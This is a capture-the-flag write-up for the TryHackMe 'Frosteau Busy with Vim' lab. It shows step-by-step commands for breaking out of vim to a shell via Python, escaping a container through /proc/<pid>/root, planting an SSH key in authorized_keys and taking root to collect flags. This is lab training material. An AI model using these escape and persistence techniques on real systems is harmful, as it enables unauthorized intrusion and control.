Frosteau Busy with Vim - Write-up - TryHackMe

Information

Room#

  • Name: Frosteau Busy with Vim
  • Profile: tryhackme.com
  • Difficulty: Insane
  • Description: Stay frosty!

Frosteau Busy with Vim

This is the Side Quest Challenge 3 of Advent of Cyber '23 Side Quest (advanced bonus challenges alongside Advent of Cyber 2023).

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S nmap gtfoblookup

Challenge#

Network enumeration#

Port and service enumeration with nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Nmap 7.94 scan initiated Tue Mar  5 21:37:28 2024 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap 10.10.40.126
Nmap scan report for 10.10.40.126
Host is up, received reset ttl 63 (0.068s latency).
Not shown: 65402 closed tcp ports (reset), 127 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 54:94:d2:35:84:35:30:ef:44:0d:50:07:26:61:98:7e (RSA)
| 256 df:e1:85:f4:49:de:bd:ea:ec:65:35:da:c6:9a:e0:11 (ECDSA)
|_ 256 9e:5c:44:f9:7f:02:34:8b:d1:42:40:e7:29:b1:21:06 (ED25519)
80/tcp open http syn-ack ttl 63 WebSockify Python/3.8.10
|_http-title: Error response
|_http-server-header: WebSockify Python/3.8.10
…
8065/tcp open telnet syn-ack ttl 62
| fingerprint-strings:
| GenericLines, GetRequest, NCP, NULL, RPCCheck, SIPOptions, tn3270:
| Ubuntu 22.04.3 LTS
| Help:
| Ubuntu 22.04.3 LTS
|_ HELP
8075/tcp open ftp syn-ack ttl 62 BusyBox ftpd (D-Link DCS-932L IP-Cam camera)
| ftp-syst:
| STAT:
| Server status:
| TYPE: BINARY
|_Ok
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV IP 172.18.0.2 is not the same as 10.10.40.126
|_ftp-bounce: bounce working!
8085/tcp open telnet syn-ack ttl 62
…
8095/tcp open telnet syn-ack ttl 62
…
Service Info: OS: Linux; Device: webcam; CPE: cpe:/o:linux:linux_kernel, cpe:/h:dlink:dcs-932l

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 5 21:40:08 2024 -- 1 IP address (1 host up) scanned in 160.16 seconds

Seems that we have a web server, a SSH server, a FTP server and three telnet services.

Web enumeration#

We get a 405 error code (Method Not Allowed.), also it seems it's a web socket. So let's try another service for now.

FTP enumeration#

Anonymous connection is allowed.

1
2
3
4
5
6
7
âžś ftp 10.10.40.126 8075
Connected to 10.10.40.126.
220 Operation successful
Name (10.10.40.126:noraj): anonymous
230 Operation successful
Remote system type is UNIX.
Using binary mode to transfer files.

A bunch of files are available:

1
2
3
4
5
6
7
8
9
10
11
12
13
ftp> ls
200 Operation successful
150 Directory listing
total 8132
-rw-r--r-- 1 0 0 3010 Nov 5 18:49 FROST-2247-SP.txt
-rw-r--r-- 1 0 0 3211 Nov 5 18:50 YETI-1125-SP.txt
-rw-r--r-- 1 0 0 24 Nov 5 19:06 flag-1-of-4.txt
-rw-r--r-- 1 0 0 12 Nov 5 19:07 flag-2-of-4.sh
-rw-r--r-- 1 0 0 2127524 Nov 5 18:54 frostling_base.png
-rw-r--r-- 1 0 0 2305908 Nov 5 18:54 frostling_five.png
-rw-r--r-- 1 0 0 1589463 Nov 5 18:54 yeti_footage.png
-rw-r--r-- 1 0 0 2277409 Nov 5 18:54 yeti_mugshot.png
226 Operation successful

Retrieve every file with the get FTP command.

The first flag is contained in flag-1-of-4.txt.

flag-2-of-4.sh just contains the follwing line:

1
echo $FLAG2

So we know the second flag will be in an environment variabled named FLAG2.

FROST-2247-SP.txt contains information about The Frostling Five, maybe this will prove being useful later.

YETI-1125-SP.txt is similar but about Bandit Yeti, Snowbyte Hacker, Frosty Fingers.

The images don't seem useful for now, unless there is some stego required.

Telnet interaction & shell escape#

On port 8065, the connection seems to close pretty quick.

On port, 8085 we are in vim and on port 8095 we are in nano. So it's looks like we have to escape to the shell (shell escape, see this challenge on ROOT-ME).

If you don't know the tricks by heart, you can refresh your memories with gtfoblookup:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
âžś gtfoblookup gtfobins search -c shell vim
vim:

shell:

Code: vim -c ':!/bin/sh'

Code: vim --cmd ':set shell=/bin/sh|:shell'

Description: This requires that `vim` is compiled with Python
support. Prepend `:py3` for Python 3.
Code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c",
"reset; exec sh")'

Description: This requires that `vim` is compiled with Lua
support.
Code: vim -c ':lua os.execute("reset; exec sh")'

With :!/bin/bash, we have this error: Cannot execute shell /tmp/sh. But in fact, whatever is the command we want to execute we have the same error.

:echo $FLAG2 displays the 2nd flag.

Let's see if we have more chance with nano:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
âžś gtfoblookup gtfobins search -c shell nano
nano:

shell:

Code: nano
^R^X
reset; sh 1>&0 2>&0

Description: The `SPELL` environment variable can be used in
place of the `-s` option if the command line cannot be
changed.
Code: nano -s /bin/sh
/bin/sh
^T

Seems that the classic technic doesn't work here.

Let's get back to vim, :py doesn't work but :py3 does!

A simple os.system isn't very useful as the output is not returned as a string. The two following commands either as they try to open a shell with /bin/sh. The same apply for all reverse shell techniques as we can't use a shell.

1
2
:py3 import os; os.popen('id').read()
:py3 from subprocess import Popen, PIPE; print(Popen(["/bin/ls", "-a"],stdout=PIPE).communicate());

So rather than trying harder, we can trying smarter. os.system doesn't use a shell so let's redirect the output to a file then read that file…

1
2
3
:py3 import os; os.system("id > /tmp/noraj.log"); print(open("/tmp/noraj.log").read())
:py3 import os; os.system("id | tee /tmp/noraj.log"); print(open("/dev/shm/noraj.log").read())
:py3 import os; os.system("script -c id -f /dev/shm/noraj.log"); print(open("/dev/shm/noraj.log").read())

But for some reason whatever is use (pipe, redirection, or script) os.system seems to not be able to write to a file (only on this machine). So then open returns an error.

System exploration & shell escape#

With :Ex we have a file explorer we can use to browse and read files. We notice /bin points to /usr/bin that is empty so we don't have shell. At some point we may be forced to upload one (I can write text files with nano or vim, binary files with ftp or python, and we can vim functions like :call setfperm("/tmp/noraj.sh","rwxrwx---") to make binaries executable). FTP files are in /tmp/ftp.

Uploading a static shell alone won't be very useful as no coreutils or mostly any useful binaries outside those in /usr/sbin are available.

Wait! So my :py3 experimentations were not working because /bin and /usr/bin are empty. But it seems tehre is a busybox as there are files: /etc/busybox and /etc/file/busybox. We can also see this via environment variables.

1
2
:echo $BU # /etc/file/busybox
:echo $BUSY # /etc/busybox

Note: đź’ˇ :echo $ let you list all existing environment variables.

I also saw the current "shell" is /tmp/sh and there is one in /usr/forsty/sh as well but both seems "empty".

In /etc/shell we can see /usr/busybox/sh. Also /.docerenv indicates we are in a docker container.

In /proc/etc/environ we can read the following (some ideas on about how the busybox was setup).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
MAIL=/var/mail/ubuntu
USER=ubuntu
BOOTSTRAP=/etc/bootstrap.sh
HOSTNAME=busybusybox
FTPD_BANNER=Frosteau very busy note box
SHLVL=1
PROT=/usr/special/protector.sh
HOME=/home/ubuntu

FLAG2=THM{REDACTED}

BUSY=/etc/busybox
LOGNAME=ubuntu
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
SHELL=/tmp/sh
PASSWD=/etc/passwd
PWD=/
BU=/etc/file/busybox

Note :version in Vim show the compilation options and all, so it can speedup the recon rather than trying to exectue any command to see if it's available or not.

Being very smart, shell escape WITHOUT UPLOADING#

At this point I know I could upload a reverse shell binary or a busybox or something but I'm excited about rooting the box without uploading anything, I think it should be possible.

Just to verify that theory (and to prove I'm smart), let's try to do this:

  1. Escape busybox
    1. which bash -> /usr/bin/bash on a normal machine
    2. We can read /proc and /proc/<id>/root is a symbolic link to the root of process
    3. Let's create a loop over positive interger and trying to access /proc/<id>/root/usr/bin/bash
    4. Once we found the true bash outside teh busybox we define it as shell in vim with :set shell=path/to/bash
    5. Escape by executing :!/proc/<id>/root/usr/bin/whatever
  2. Mess with the f**king system!
1
2
3
4
import os
for i in range(1,9999):
if os.path.exists(f"/proc/{i}/root/usr/bin/bash"):
print(i)

Note: in our case os.path.exists('file') is better than pathlib.Path('file').exists() because the later triggers a PermissionError while the first just return False in that case.

Now let's inline that.

1
import os; [print(i) for i in range(1, 9999) if os.path.exists(f"/proc/{i}/root/usr/bin/bash")]

Vim it!

1
:py3 import os; [print(i) for i in range(1, 9999) if os.path.exists(f"/proc/{i}/root/usr/bin/bash")]

It returns lots of IDs but teh first one is 1018.

Shell it!

1
:set shell=/proc/1018/root/usr/bin/bash

:!id will return /proc/1018/root/usr/bin/bash: id: command not found because of course we still have no coreutil binaries in our PATH.

But remember? Our mission is to be smart. So what about:

1
:!PATH=/proc/1018/root/usr/bin:$PATH id

Of course it works:

uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)

Let's get serious, we have been kidding for too long:

1
2
3
4
5
:shell
bash: groups: command not found
ubuntu@busybusybox:/$ export PATH=/proc/1018/root/usr/bin:$PATH
ubuntu@busybusybox:/$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)

It's time for an upgrade#

1
2
ubuntu@busybusybox:/$ sudo
sudo: error while loading shared libraries: libsudo_util.so.0: cannot open shared object file: No such file or directory

We don't want to patch that forever, let's get a really access with a SSH connection outside the busybox.

On my machine let's create a SSH key:

1
ssh-keygen -t ed25519 -Z chacha20-poly1305@openssh.com -f noraj_de_ma_clé

Write it in the user authorized keys.

1
printf %s 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEXiHbH+uti30TKOD+Y8BmVXfzzCFpt6BBu+chMfJCRI noraj@penarch' > /proc/1018/root/home/ubuntu/.ssh/authorized_keys

Oh yeah! I love this connection better:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜ ssh ubuntu@10.10.40.126 -i noraj_de_ma_clé
ubuntu@tryhackme:~$ sudo -l
Matching Defaults entries for ubuntu on tryhackme:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ubuntu may run the following commands on tryhackme:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL

Note: By jumping to the host, I guess we skipped the step where we were supposed to escape from the docker, lol.

Flag them all#

We must have taken some shortcuts so we must have missed flags on the road.

But now that we are root on the host, let's make up for lost time.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ubuntu@tryhackme:~$ sudo ls -lhA /root/
total 40K
lrwxrwxrwx 1 root root 9 Feb 27 2022 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3.1K Dec 5 2019 .bashrc
drwxr-xr-x 3 root root 4.0K Feb 27 2022 .cache
drwxr-xr-x 3 root root 4.0K Feb 27 2022 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 66 Feb 27 2022 .selected_editor
drwx------ 2 root root 4.0K Feb 27 2022 .ssh
-rw------- 1 root root 0 Dec 5 12:02 .viminfo
drwxr-xr-x 2 root root 4.0K Feb 27 2022 .vnc
-rw-r--r-- 1 root root 51 Nov 5 19:09 flag-4-of-4.txt
drwxr-xr-x 4 root root 4.0K Feb 27 2022 snap
-rw-r--r-- 1 root root 67 Dec 5 12:02 yetikey3.txt

As we went to quickly and skipped the docker step, we missed the third flag, it must be in the docker overlay.

1
2
3
4
5
6
7
ubuntu@tryhackme:~$ sudo find /var/lib/docker/overlay2/ -type f -name flag-3-of-4.txt
/var/lib/docker/overlay2/143eb13a6c8f69ab659eb0dd05be974c2d62272b26fc7b8e0a558c11c9d00ddd/diff/root/flag-3-of-4.txt
/var/lib/docker/overlay2/2747ca7424ec987f73fbd8d00ba713a08767a0aa3c7e7b011c0b556f68f74257/merged/root/flag-3-of-4.txt
/var/lib/docker/overlay2/64c447637ac4ee76d19a42d9fd1e2a02a308d7e2aeedb99467b16953e45294ce/diff/root/flag-3-of-4.txt
/var/lib/docker/overlay2/a2d2cf1af707deb1ab7d5e3b9001767bddab6d65d6a05a989011fe126150679b/diff/root/flag-3-of-4.txt
/var/lib/docker/overlay2/392ec18fe56eef27553c9f245114a5a1c2cdc8de4dd080388aca82cd11efe36d/diff/root/flag-3-of-4.txt
/var/lib/docker/overlay2/fe952ba84abeaf21384b247a897983ec31c2c0380e205569e009ff412a248c9f/diff/root/flag-3-of-4.txt

Else we can do that another way:

1
2
3
4
5
6
ubuntu@tryhackme:~$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c6284e5811a7 busy_busy_box "/etc/bootstrap.sh -d" 4 hours ago Up 4 hours 0.0.0.0:20-21->20-21/tcp, :::20-21->20-21/tcp, 0.0.0.0:8065->8065/tcp, :::8065->8065/tcp, 0.0.0.0:8075->8075/tcp, :::8075->8075/tcp, 0.0.0.0:8085->8085/tcp, :::8085->8085/tcp, 0.0.0.0:8095->8095/tcp, :::8095->8095/tcp, 0.0.0.0:65500-65515->65500-65515/tcp, :::65500-65515->65500-65515/tcp containers_busy_1

ubuntu@tryhackme:~$ sudo docker cp containers_busy_1:/root/flag-3-of-4.txt /tmp/flag3.txt
Successfully copied 2.05kB to /tmp/flag3.txt
Share